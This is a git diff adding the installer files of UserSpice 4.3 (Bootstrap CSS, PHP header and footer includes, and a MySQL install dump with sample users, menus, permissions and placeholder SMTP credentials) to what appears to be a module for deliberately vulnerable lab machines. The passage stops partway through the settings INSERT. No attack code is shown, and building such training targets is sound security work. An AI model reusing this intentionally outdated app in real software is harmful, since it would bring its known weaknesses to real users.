ease-in-out;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-perspective:1000;perspective:1000}.carousel-inner>.item.next,.carousel-inner>.item.active.right{left:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.carousel-inner>.item.prev,.carousel-inner>.item.active.left{left:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.carousel-inner>.item.next.left,.carousel-inner>.item.prev.right,.carousel-inner>.item.active{left:0;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.carousel-inner>.active,.carousel-inner>.next,.carousel-inner>.prev{display:block}.carousel-inner>.active{left:0}.carousel-inner>.next,.carousel-inner>.prev{position:absolute;top:0;width:100%}.carousel-inner>.next{left:100%}.carousel-inner>.prev{left:-100%}.carousel-inner>.next.left,.carousel-inner>.prev.right{left:0}.carousel-inner>.active.left{left:-100%}.carousel-inner>.active.right{left:100%}.carousel-control{position:absolute;top:0;bottom:0;left:0;width:15%;font-size:20px;color:#fff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,.6);filter:alpha(opacity=50);opacity:.5}.carousel-control.left{background-image:-webkit-linear-gradient(left,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);background-image:-o-linear-gradient(left,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);background-image:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,.5)),to(rgba(0,0,0,.0001)));background-image:linear-gradient(to right,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1);background-repeat:repeat-x}.carousel-control.right{right:0;left:auto;background-image:-webkit-linear-gradient(left,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%);background-image:-o-linear-gradient(left,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%);background-image:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,.0001)),to(rgba(0,0,0,.5)));background-image:linear-gradient(to right,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1);background-repeat:repeat-x}.carousel-control:hover,.carousel-control:focus{color:#fff;text-decoration:none;filter:alpha(opacity=90);outline:0;opacity:.9}.carousel-control .icon-prev,.carousel-control .icon-next,.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right{position:absolute;top:50%;z-index:5;display:inline-block}.carousel-control .icon-prev,.carousel-control .glyphicon-chevron-left{left:50%;margin-left:-10px}.carousel-control .icon-next,.carousel-control .glyphicon-chevron-right{right:50%;margin-right:-10px}.carousel-control .icon-prev,.carousel-control .icon-next{width:20px;height:20px;margin-top:-10px;font-family:serif}.carousel-control .icon-prev:before{content:'\2039'}.carousel-control .icon-next:before{content:'\203a'}.carousel-indicators{position:absolute;bottom:10px;left:50%;z-index:15;width:60%;padding-left:0;margin-left:-30%;text-align:center;list-style:none}.carousel-indicators li{display:inline-block;width:10px;height:10px;margin:1px;text-indent:-999px;cursor:pointer;background-color:#000 \9;background-color:rgba(0,0,0,0);border:1px solid #fff;border-radius:10px}.carousel-indicators .active{width:12px;height:12px;margin:0;background-color:#fff}.carousel-caption{position:absolute;right:15%;bottom:20px;left:15%;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,.6)}.carousel-caption .btn{text-shadow:none}@media screen and (min-width:768px){.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right,.carousel-control .icon-prev,.carousel-control .icon-next{width:30px;height:30px;margin-top:-15px;font-size:30px}.carousel-control .glyphicon-chevron-left,.carousel-control .icon-prev{margin-left:-15px}.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next{margin-right:-15px}.carousel-caption{right:20%;left:20%;padding-bottom:30px}.carousel-indicators{bottom:20px}}.clearfix:before,.clearfix:after,.dl-horizontal dd:before,.dl-horizontal dd:after,.container:before,.container:after,.container-fluid:before,.container-fluid:after,.row:before,.row:after,.form-horizontal .form-group:before,.form-horizontal .form-group:after,.btn-toolbar:before,.btn-toolbar:after,.btn-group-vertical>.btn-group:before,.btn-group-vertical>.btn-group:after,.nav:before,.nav:after,.navbar:before,.navbar:after,.navbar-header:before,.navbar-header:after,.navbar-collapse:before,.navbar-collapse:after,.pager:before,.pager:after,.panel-body:before,.panel-body:after,.modal-footer:before,.modal-footer:after{display:table;content:" "}.clearfix:after,.dl-horizontal dd:after,.container:after,.container-fluid:after,.row:after,.form-horizontal .form-group:after,.btn-toolbar:after,.btn-group-vertical>.btn-group:after,.nav:after,.navbar:after,.navbar-header:after,.navbar-collapse:after,.pager:after,.panel-body:after,.modal-footer:after{clear:both}.center-block{display:block;margin-right:auto;margin-left:auto}.pull-right{float:right!important}.pull-left{float:left!important}.hide{display:none!important}.show{display:block!important}.invisible{visibility:hidden}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.hidden{display:none!important;visibility:hidden!important}.affix{position:fixed}@-ms-viewport{width:device-width}.visible-xs,.visible-sm,.visible-md,.visible-lg{display:none!important}.visible-xs-block,.visible-xs-inline,.visible-xs-inline-block,.visible-sm-block,.visible-sm-inline,.visible-sm-inline-block,.visible-md-block,.visible-md-inline,.visible-md-inline-block,.visible-lg-block,.visible-lg-inline,.visible-lg-inline-block{display:none!important}@media (max-width:767px){.visible-xs{display:block!important}table.visible-xs{display:table}tr.visible-xs{display:table-row!important}th.visible-xs,td.visible-xs{display:table-cell!important}}@media (max-width:767px){.visible-xs-block{display:block!important}}@media (max-width:767px){.visible-xs-inline{display:inline!important}}@media (max-width:767px){.visible-xs-inline-block{display:inline-block!important}}@media (min-width:768px) and (max-width:991px){.visible-sm{display:block!important}table.visible-sm{display:table}tr.visible-sm{display:table-row!important}th.visible-sm,td.visible-sm{display:table-cell!important}}@media (min-width:768px) and (max-width:991px){.visible-sm-block{display:block!important}}@media (min-width:768px) and (max-width:991px){.visible-sm-inline{display:inline!important}}@media (min-width:768px) and (max-width:991px){.visible-sm-inline-block{display:inline-block!important}}@media (min-width:992px) and (max-width:1199px){.visible-md{display:block!important}table.visible-md{display:table}tr.visible-md{display:table-row!important}th.visible-md,td.visible-md{display:table-cell!important}}@media (min-width:992px) and (max-width:1199px){.visible-md-block{display:block!important}}@media (min-width:992px) and (max-width:1199px){.visible-md-inline{display:inline!important}}@media (min-width:992px) and (max-width:1199px){.visible-md-inline-block{display:inline-block!important}}@media (min-width:1200px){.visible-lg{display:block!important}table.visible-lg{display:table}tr.visible-lg{display:table-row!important}th.visible-lg,td.visible-lg{display:table-cell!important}}@media (min-width:1200px){.visible-lg-block{display:block!important}}@media (min-width:1200px){.visible-lg-inline{display:inline!important}}@media (min-width:1200px){.visible-lg-inline-block{display:inline-block!important}}@media (max-width:767px){.hidden-xs{display:none!important}}@media (min-width:768px) and (max-width:991px){.hidden-sm{display:none!important}}@media (min-width:992px) and (max-width:1199px){.hidden-md{display:none!important}}@media (min-width:1200px){.hidden-lg{display:none!important}}.visible-print{display:none!important}@media print{.visible-print{display:block!important}table.visible-print{display:table}tr.visible-print{display:table-row!important}th.visible-print,td.visible-print{display:table-cell!important}}.visible-print-block{display:none!important}@media print{.visible-print-block{display:block!important}}.visible-print-inline{display:none!important}@media print{.visible-print-inline{display:inline!important}}.visible-print-inline-block{display:none!important}@media print{.visible-print-inline-block{display:inline-block!important}}@media print{.hidden-print{display:none!important}} \ No newline at end of file diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/css/main.css b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/css/main.css new file mode 100644 index 000000000..b25e769fb --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/css/main.css @@ -0,0 +1,22 @@ + + +/* ========================================================================== + Author's custom styles + ========================================================================== */ + + + + + + + + + + + + + + + + + diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/includes/footer.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/includes/footer.php new file mode 100644 index 000000000..489ad51be --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/includes/footer.php @@ -0,0 +1,13 @@ +
    +

    © Company 2015

    +
    + + + + + + + + + + diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/includes/header.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/includes/header.php new file mode 100644 index 000000000..5496a6e2f --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/includes/header.php @@ -0,0 +1,45 @@ + + + + + + InstallSpice + + + + + + + + + + + + + '; + echo 'window.location.href="'.$location.'";'; + echo ''; + echo ''; exit; + } + } + } + ?> +
    +Having Problems? Reset and Start Over
    diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/includes/install_settings.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/includes/install_settings.php new file mode 100644 index 000000000..0c9590436 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/includes/install_settings.php @@ -0,0 +1,31 @@ + diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/includes/sql.sql b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/includes/sql.sql new file mode 100644 index 000000000..beb2da0c1 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/includes/sql.sql @@ -0,0 +1,1066 @@ +-- phpMyAdmin SQL Dump +-- version 4.5.1 +-- http://www.phpmyadmin.net +-- +-- Host: 127.0.0.1 +-- Generation Time: Dec 12, 2017 at 05:38 PM +-- Server version: 10.1.9-MariaDB +-- PHP Version: 5.6.15 + +SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; +SET time_zone = "+00:00"; + + +/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; +/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; +/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; +/*!40101 SET NAMES utf8mb4 */; + +-- +-- Database: `install` +-- + +-- -------------------------------------------------------- + +-- +-- Table structure for table `audit` +-- + +CREATE TABLE `audit` ( + `id` int(11) NOT NULL, + `user` int(11) NOT NULL, + `page` varchar(255) NOT NULL, + `timestamp` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, + `ip` varchar(255) NOT NULL, + `viewed` int(1) NOT NULL +) ENGINE=InnoDB DEFAULT CHARSET=latin1; + +-- +-- Dumping data for table `audit` +-- + +INSERT INTO `audit` (`id`, `user`, `page`, `timestamp`, `ip`, `viewed`) VALUES +(1, 1, '42', '2017-02-20 17:31:13', '::1', 0), +(2, 0, '44', '2017-08-14 17:32:22', '::1', 0), +(3, 0, '4', '2017-09-16 17:53:58', '::1', 0), +(4, 0, '4', '2017-10-09 15:41:11', '192.168.0.222', 0); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `crons` +-- + +CREATE TABLE `crons` ( + `id` int(11) NOT NULL, + `active` int(1) NOT NULL DEFAULT '1', + `sort` int(3) NOT NULL, + `name` varchar(255) NOT NULL, + `file` varchar(255) NOT NULL, + `createdby` int(11) NOT NULL, + `created` datetime DEFAULT NULL, + `modified` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP +) ENGINE=InnoDB DEFAULT CHARSET=latin1; + +-- +-- Dumping data for table `crons` +-- + +INSERT INTO `crons` (`id`, `active`, `sort`, `name`, `file`, `createdby`, `created`, `modified`) VALUES +(1, 0, 100, 'Auto-Backup', 'backup.php', 1, '2017-09-16 07:49:22', '2017-11-11 20:15:36'); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `crons_logs` +-- + +CREATE TABLE `crons_logs` ( + `id` int(11) NOT NULL, + `cron_id` int(11) NOT NULL, + `datetime` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, + `user_id` int(11) NOT NULL +) ENGINE=InnoDB DEFAULT CHARSET=latin1; + +-- -------------------------------------------------------- + +-- +-- Table structure for table `email` +-- + +CREATE TABLE `email` ( + `id` int(11) NOT NULL, + `website_name` varchar(100) NOT NULL, + `smtp_server` varchar(100) NOT NULL, + `smtp_port` int(10) NOT NULL, + `email_login` varchar(150) NOT NULL, + `email_pass` varchar(100) NOT NULL, + `from_name` varchar(100) NOT NULL, + `from_email` varchar(150) NOT NULL, + `transport` varchar(255) NOT NULL, + `verify_url` varchar(255) NOT NULL, + `email_act` int(1) NOT NULL, + `debug_level` int(1) NOT NULL DEFAULT '0', + `isSMTP` int(1) NOT NULL DEFAULT '0', + `isHTML` varchar(5) NOT NULL DEFAULT 'true', + `useSMTPauth` varchar(6) NOT NULL DEFAULT 'true' +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +-- +-- Dumping data for table `email` +-- + +INSERT INTO `email` (`id`, `website_name`, `smtp_server`, `smtp_port`, `email_login`, `email_pass`, `from_name`, `from_email`, `transport`, `verify_url`, `email_act`, `debug_level`, `isSMTP`, `isHTML`, `useSMTPauth`) VALUES +(1, 'User Spice', 'smtp.gmail.com', 587, 'yourEmail@gmail.com', '1234', 'User Spice', 'yourEmail@gmail.com', 'tls', 'http://localhost/43', 0, 0, 0, 'true', 'true'); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `groups_menus` +-- + +CREATE TABLE `groups_menus` ( + `id` int(11) NOT NULL, + `group_id` int(15) NOT NULL, + `menu_id` int(15) NOT NULL +) ENGINE=MyISAM DEFAULT CHARSET=latin1; + +-- +-- Dumping data for table `groups_menus` +-- + +INSERT INTO `groups_menus` (`id`, `group_id`, `menu_id`) VALUES +(30, 2, 9), +(29, 0, 8), +(28, 0, 7), +(27, 0, 21), +(5, 0, 3), +(6, 0, 1), +(7, 0, 2), +(8, 0, 51), +(9, 0, 52), +(10, 0, 37), +(11, 0, 38), +(12, 2, 39), +(13, 2, 40), +(14, 2, 41), +(15, 2, 42), +(16, 2, 43), +(17, 2, 44), +(18, 2, 45), +(19, 0, 46), +(20, 0, 47), +(21, 0, 49), +(26, 0, 20), +(25, 0, 18), +(31, 2, 10), +(32, 2, 11), +(33, 2, 12), +(34, 2, 13), +(35, 2, 14), +(36, 2, 15), +(37, 0, 16); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `keys` +-- + +CREATE TABLE `keys` ( + `id` int(11) NOT NULL, + `stripe_ts` varchar(255) NOT NULL, + `stripe_tp` varchar(255) NOT NULL, + `stripe_ls` varchar(255) NOT NULL, + `stripe_lp` varchar(255) NOT NULL, + `recap_pub` varchar(100) NOT NULL, + `recap_pri` varchar(100) NOT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +-- -------------------------------------------------------- + +-- +-- Table structure for table `logs` +-- + +CREATE TABLE `logs` ( + `id` int(11) NOT NULL, + `user_id` int(3) NOT NULL, + `logdate` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, + `logtype` varchar(25) NOT NULL, + `lognote` text NOT NULL +) ENGINE=MyISAM DEFAULT CHARSET=latin1; + +-- -------------------------------------------------------- + +-- +-- Table structure for table `logs_exempt` +-- + +CREATE TABLE `logs_exempt` ( + `id` int(11) NOT NULL, + `name` varchar(255) NOT NULL, + `createdby` int(11) NOT NULL, + `created` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP +) ENGINE=MyISAM DEFAULT CHARSET=latin1; + +-- -------------------------------------------------------- + +-- +-- Table structure for table `menus` +-- + +CREATE TABLE `menus` ( + `id` int(10) NOT NULL, + `menu_title` varchar(255) NOT NULL, + `parent` int(10) NOT NULL, + `dropdown` int(1) NOT NULL, + `logged_in` int(1) NOT NULL, + `display_order` int(10) NOT NULL, + `label` varchar(255) NOT NULL, + `link` varchar(255) NOT NULL, + `icon_class` varchar(255) NOT NULL +) ENGINE=MyISAM DEFAULT CHARSET=latin1; + +-- +-- Dumping data for table `menus` +-- + +INSERT INTO `menus` (`id`, `menu_title`, `parent`, `dropdown`, `logged_in`, `display_order`, `label`, `link`, `icon_class`) VALUES +(1, 'main', 2, 0, 1, 1, 'Home', '', 'fa fa-fw fa-home'), +(2, 'main', -1, 1, 1, 14, '', '', 'fa fa-fw fa-cogs'), +(3, 'main', -1, 0, 1, 11, '{{username}}', 'users/account.php', 'fa fa-fw fa-user'), +(4, 'main', -1, 1, 0, 3, 'Help', '', 'fa fa-fw fa-life-ring'), +(5, 'main', -1, 0, 0, 2, 'Register', 'users/join.php', 'fa fa-fw fa-plus-square'), +(6, 'main', -1, 0, 0, 1, 'Log In', 'users/login.php', 'fa fa-fw fa-sign-in'), +(7, 'main', 2, 0, 1, 2, 'Account', 'users/account.php', 'fa fa-fw fa-user'), +(8, 'main', 2, 0, 1, 3, '{{hr}}', '', ''), +(9, 'main', 2, 0, 1, 4, 'Admin Dashboard', 'users/admin.php', 'fa fa-fw fa-cogs'), +(10, 'main', 2, 0, 1, 5, 'User Management', 'users/admin_users.php', 'fa fa-fw fa-user'), +(11, 'main', 2, 0, 1, 6, 'Permissions Manager', 'users/admin_permissions.php', 'fa fa-fw fa-lock'), +(12, 'main', 2, 0, 1, 7, 'Page Management', 'users/admin_pages.php', 'fa fa-fw fa-wrench'), +(13, 'main', 2, 0, 1, 8, 'Messages Manager', 'users/admin_messages.php', 'fa fa-fw fa-envelope'), +(14, 'main', 2, 0, 1, 9, 'System Logs', 'users/admin_logs.php', 'fa fa-fw fa-search'), +(15, 'main', 2, 0, 1, 10, '{{hr}}', '', ''), +(16, 'main', 2, 0, 1, 11, 'Logout', 'users/logout.php', 'fa fa-fw fa-sign-out'), +(17, 'main', -1, 0, 0, 0, 'Home', '', 'fa fa-fw fa-home'), +(18, 'main', -1, 0, 1, 10, 'Home', '', 'fa fa-fw fa-home'), +(19, 'main', 4, 0, 0, 1, 'Forgot Password', 'users/forgot_password.php', 'fa fa-fw fa-wrench'), +(20, 'main', -1, 0, 1, 12, '{{notifications}}', '', ''), +(21, 'main', -1, 0, 1, 13, '{{messages}}', '', ''), +(22, 'main', 4, 0, 0, 99999, 'Resend Activation Email', 'users/verify_resend.php', 'fa fa-exclamation-triangle'); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `messages` +-- + +CREATE TABLE `messages` ( + `id` int(11) NOT NULL, + `msg_from` int(11) NOT NULL, + `msg_to` int(11) NOT NULL, + `msg_body` text NOT NULL, + `msg_read` int(1) NOT NULL, + `msg_thread` int(11) NOT NULL, + `deleted` int(1) NOT NULL, + `sent_on` datetime NOT NULL +) ENGINE=InnoDB DEFAULT CHARSET=latin1; + +-- +-- Dumping data for table `messages` +-- + +INSERT INTO `messages` (`id`, `msg_from`, `msg_to`, `msg_body`, `msg_read`, `msg_thread`, `deleted`, `sent_on`) VALUES +(1, 1, 2, '<p>fgds</p>', 0, 1, 0, '2017-08-06 00:13:47'), +(2, 1, 2, '<p>Did it work?</p>', 0, 2, 0, '2017-09-09 15:10:09'); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `message_threads` +-- + +CREATE TABLE `message_threads` ( + `id` int(11) NOT NULL, + `msg_to` int(11) NOT NULL, + `msg_from` int(11) NOT NULL, + `msg_subject` varchar(255) NOT NULL, + `last_update` datetime NOT NULL, + `last_update_by` int(11) NOT NULL, + `archive_from` int(1) NOT NULL DEFAULT '0', + `archive_to` int(1) NOT NULL DEFAULT '0', + `hidden_from` int(1) NOT NULL DEFAULT '0', + `hidden_to` int(1) NOT NULL DEFAULT '0' +) ENGINE=InnoDB DEFAULT CHARSET=latin1; + +-- +-- Dumping data for table `message_threads` +-- + +INSERT INTO `message_threads` (`id`, `msg_to`, `msg_from`, `msg_subject`, `last_update`, `last_update_by`, `archive_from`, `archive_to`, `hidden_from`, `hidden_to`) VALUES +(1, 2, 1, 'Testiing123', '2017-08-06 00:13:47', 1, 0, 0, 0, 0), +(2, 2, 1, 'Testing Message Badge', '2017-09-09 15:10:09', 1, 0, 0, 0, 0); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `mqtt` +-- + +CREATE TABLE `mqtt` ( + `id` int(11) NOT NULL, + `server` varchar(255) NOT NULL, + `port` int(11) NOT NULL, + `username` varchar(255) NOT NULL, + `password` varchar(255) NOT NULL, + `nickname` varchar(255) NOT NULL +) ENGINE=InnoDB DEFAULT CHARSET=latin1; + +-- +-- Dumping data for table `mqtt` +-- + +INSERT INTO `mqtt` (`id`, `server`, `port`, `username`, `password`, `nickname`) VALUES +(2, '192.168.0.222', 1883, '', '', 'Raspberry PI MQTT2'); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `notifications` +-- + +CREATE TABLE `notifications` ( + `id` int(11) UNSIGNED NOT NULL, + `user_id` int(11) NOT NULL, + `message` mediumtext NOT NULL, + `is_read` tinyint(4) NOT NULL, + `is_archived` tinyint(1) DEFAULT '0', + `date_created` datetime DEFAULT NULL, + `date_read` datetime DEFAULT NULL, + `last_updated` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +-- -------------------------------------------------------- + +-- +-- Table structure for table `pages` +-- + +CREATE TABLE `pages` ( + `id` int(11) NOT NULL, + `page` varchar(100) NOT NULL, + `title` varchar(50) NOT NULL, + `private` int(11) NOT NULL DEFAULT '0', + `re_auth` int(1) NOT NULL DEFAULT '0' +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +-- +-- Dumping data for table `pages` +-- + +INSERT INTO `pages` (`id`, `page`, `title`, `private`, `re_auth`) VALUES +(1, 'index.php', 'Home', 0, 0), +(2, 'z_us_root.php', '', 0, 0), +(3, 'users/account.php', 'Account Dashboard', 1, 0), +(4, 'users/admin.php', 'Admin Dashboard', 1, 0), +(5, 'users/admin_page.php', 'Manage Page', 1, 0), +(6, 'users/admin_pages.php', 'Manage Pages', 1, 0), +(7, 'users/admin_permission.php', 'Manage Permission', 1, 0), +(8, 'users/admin_permissions.php', 'Manage Permissions', 1, 0), +(9, 'users/admin_user.php', 'Manage User', 1, 0), +(10, 'users/admin_users.php', 'Manage Users', 1, 1), +(11, 'users/edit_profile.php', 'Edit Profile', 1, 0), +(12, 'users/email_settings.php', 'Email Settings', 1, 0), +(13, 'users/email_test.php', 'Email Test', 1, 0), +(14, 'users/forgot_password.php', 'Forgotten Password', 0, 0), +(15, 'users/forgot_password_reset.php', 'Reset Forgotten Password', 0, 0), +(16, 'users/index.php', 'Home', 0, 0), +(17, 'users/init.php', '', 0, 0), +(18, 'users/join.php', 'Join', 0, 0), +(19, 'users/joinThankYou.php', 'Join', 0, 0), +(20, 'users/login.php', 'Login', 0, 0), +(21, 'users/logout.php', 'Logout', 0, 0), +(22, 'users/profile.php', 'Profile', 1, 0), +(23, 'users/times.php', '', 0, 0), +(24, 'users/user_settings.php', 'My Settings', 1, 0), +(25, 'users/verify.php', 'Account Verification', 0, 0), +(26, 'users/verify_resend.php', 'Account Verification', 0, 0), +(27, 'users/view_all_users.php', 'View All Users', 1, 0), +(28, 'usersc/empty.php', '', 0, 0), +(31, 'users/oauth_success.php', '', 0, 0), +(33, 'users/fb-callback.php', '', 0, 0), +(37, 'users/check_updates.php', 'Check For Updates', 1, 0), +(38, 'users/google_helpers.php', '', 0, 0), +(39, 'users/tomfoolery.php', 'Security Log', 1, 0), +(41, 'users/messages.php', 'My Messages', 1, 0), +(42, 'users/message.php', 'My Messages', 1, 0), +(44, 'users/admin_backup.php', 'Backup Files', 1, 0), +(45, 'users/maintenance.php', 'Maintenance', 0, 0), +(47, 'users/mqtt_settings.php', 'MQTT Settings', 1, 0), +(49, 'users/admin_verify.php', 'Verify Password', 1, 0), +(50, 'users/cron_manager.php', 'Cron Manager', 1, 0), +(51, 'users/cron_post.php', 'Post a Cron Job', 1, 0), +(52, 'users/admin_message.php', 'View Message', 1, 0), +(53, 'users/admin_messages.php', 'View Messages', 1, 0), +(55, 'users/admin_logs.php', 'Site Logs', 1, 0), +(56, 'users/admin_logs_exempt.php', 'Site Logs', 1, 0), +(57, 'users/admin_logs_manager.php', 'Site Logs', 1, 0), +(58, 'users/admin_logs_mapper.php', 'Site Logs', 1, 0), +(68, 'users/update.php', 'Update UserSpice', 1, 0), +(69, 'users/admin_menu_item.php', 'Manage Menus', 1, 0), +(70, 'users/admin_menus.php', 'Manage Menus', 1, 0), +(71, 'users/admin_menu.php', 'Manage Menus', 1, 0), +(72, 'users/admin_ips.php', 'Admin IPs', 1, 0), +(73, 'users/subscribe.php', '', 1, 0), +(74, 'users/admin_notifications.php', 'Admin Notifications', 1, 0), +(75, 'users/enable2fa.php', 'Two Factor Authentication', 1, 0); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `permissions` +-- + +CREATE TABLE `permissions` ( + `id` int(11) NOT NULL, + `name` varchar(150) NOT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +-- +-- Dumping data for table `permissions` +-- + +INSERT INTO `permissions` (`id`, `name`) VALUES +(1, 'User'), +(2, 'Administrator'); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `permission_page_matches` +-- + +CREATE TABLE `permission_page_matches` ( + `id` int(11) NOT NULL, + `permission_id` int(15) NOT NULL, + `page_id` int(15) NOT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +-- +-- Dumping data for table `permission_page_matches` +-- + +INSERT INTO `permission_page_matches` (`id`, `permission_id`, `page_id`) VALUES +(2, 2, 27), +(3, 1, 24), +(4, 1, 22), +(5, 2, 13), +(6, 2, 12), +(7, 1, 11), +(8, 2, 10), +(9, 2, 9), +(10, 2, 8), +(11, 2, 7), +(12, 2, 6), +(13, 2, 5), +(14, 2, 4), +(15, 1, 3), +(16, 2, 37), +(17, 2, 39), +(19, 2, 40), +(21, 2, 41), +(23, 2, 42), +(27, 1, 42), +(28, 1, 27), +(29, 1, 41), +(30, 1, 40), +(31, 2, 44), +(32, 2, 47), +(33, 2, 51), +(34, 2, 50), +(35, 2, 49), +(36, 2, 53), +(37, 2, 52), +(38, 2, 68), +(39, 2, 55), +(40, 2, 56), +(41, 2, 71), +(42, 2, 58), +(43, 2, 57), +(44, 2, 53), +(45, 2, 74), +(46, 2, 75), +(47, 1, 75); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `profiles` +-- + +CREATE TABLE `profiles` ( + `id` int(11) NOT NULL, + `user_id` int(11) NOT NULL, + `bio` text NOT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +-- +-- Dumping data for table `profiles` +-- + +INSERT INTO `profiles` (`id`, `user_id`, `bio`) VALUES +(1, 1, '

    This is the Admin''s bio.

    '), +(2, 2, 'This is your bio'); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `settings` +-- + +CREATE TABLE `settings` ( + `id` int(50) NOT NULL, + `recaptcha` int(1) NOT NULL DEFAULT '0', + `force_ssl` int(1) NOT NULL, + `css_sample` int(1) NOT NULL, + `us_css1` varchar(255) NOT NULL, + `us_css2` varchar(255) NOT NULL, + `us_css3` varchar(255) NOT NULL, + `site_name` varchar(100) NOT NULL, + `language` varchar(255) NOT NULL, + `track_guest` int(1) NOT NULL, + `site_offline` int(1) NOT NULL, + `force_pr` int(1) NOT NULL, + `glogin` int(1) NOT NULL DEFAULT '0', + `fblogin` int(1) NOT NULL, + `gid` varchar(255) NOT NULL, + `gsecret` varchar(255) NOT NULL, + `gredirect` varchar(255) NOT NULL, + `ghome` varchar(255) NOT NULL, + `fbid` varchar(255) NOT NULL, + `fbsecret` varchar(255) NOT NULL, + `fbcallback` varchar(255) NOT NULL, + `graph_ver` varchar(255) NOT NULL, + `finalredir` varchar(255) NOT NULL, + `req_cap` int(1) NOT NULL, + `req_num` int(1) NOT NULL, + `min_pw` int(2) NOT NULL, + `max_pw` int(3) NOT NULL, + `min_un` int(2) NOT NULL, + `max_un` int(3) NOT NULL, + `messaging` int(1) NOT NULL, + `snooping` int(1) NOT NULL, + `echouser` int(11) NOT NULL, + `wys` int(1) NOT NULL, + `change_un` int(1) NOT NULL, + `backup_dest` varchar(255) NOT NULL, + `backup_source` varchar(255) NOT NULL, + `backup_table` varchar(255) NOT NULL, + `msg_notification` int(1) NOT NULL, + `permission_restriction` int(1) NOT NULL, + `auto_assign_un` int(1) NOT NULL, + `page_permission_restriction` int(1) NOT NULL, + `msg_blocked_users` int(1) NOT NULL, + `msg_default_to` int(1) NOT NULL, + `notifications` int(1) NOT NULL, + `notif_daylimit` int(3) NOT NULL, + `recap_public` varchar(100) NOT NULL, + `recap_private` varchar(100) NOT NULL, + `page_default_private` int(1) NOT NULL, + `navigation_type` tinyint(1) NOT NULL, + `copyright` varchar(255) NOT NULL, + `custom_settings` int(1) NOT NULL, + `system_announcement` varchar(255) NOT NULL, + `twofa` int(1) DEFAULT '0' +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +-- +-- Dumping data for table `settings` +-- + +INSERT INTO `settings` (`id`, `recaptcha`, `force_ssl`, `css_sample`, `us_css1`, `us_css2`, `us_css3`, `site_name`, `language`, `track_guest`, `site_offline`, `force_pr`, `glogin`, `fblogin`, `gid`, `gsecret`, `gredirect`, `ghome`, `fbid`, `fbsecret`, `fbcallback`, `graph_ver`, `finalredir`, `req_cap`, `req_num`, `min_pw`, `max_pw`, `min_un`, `max_un`, `messaging`, 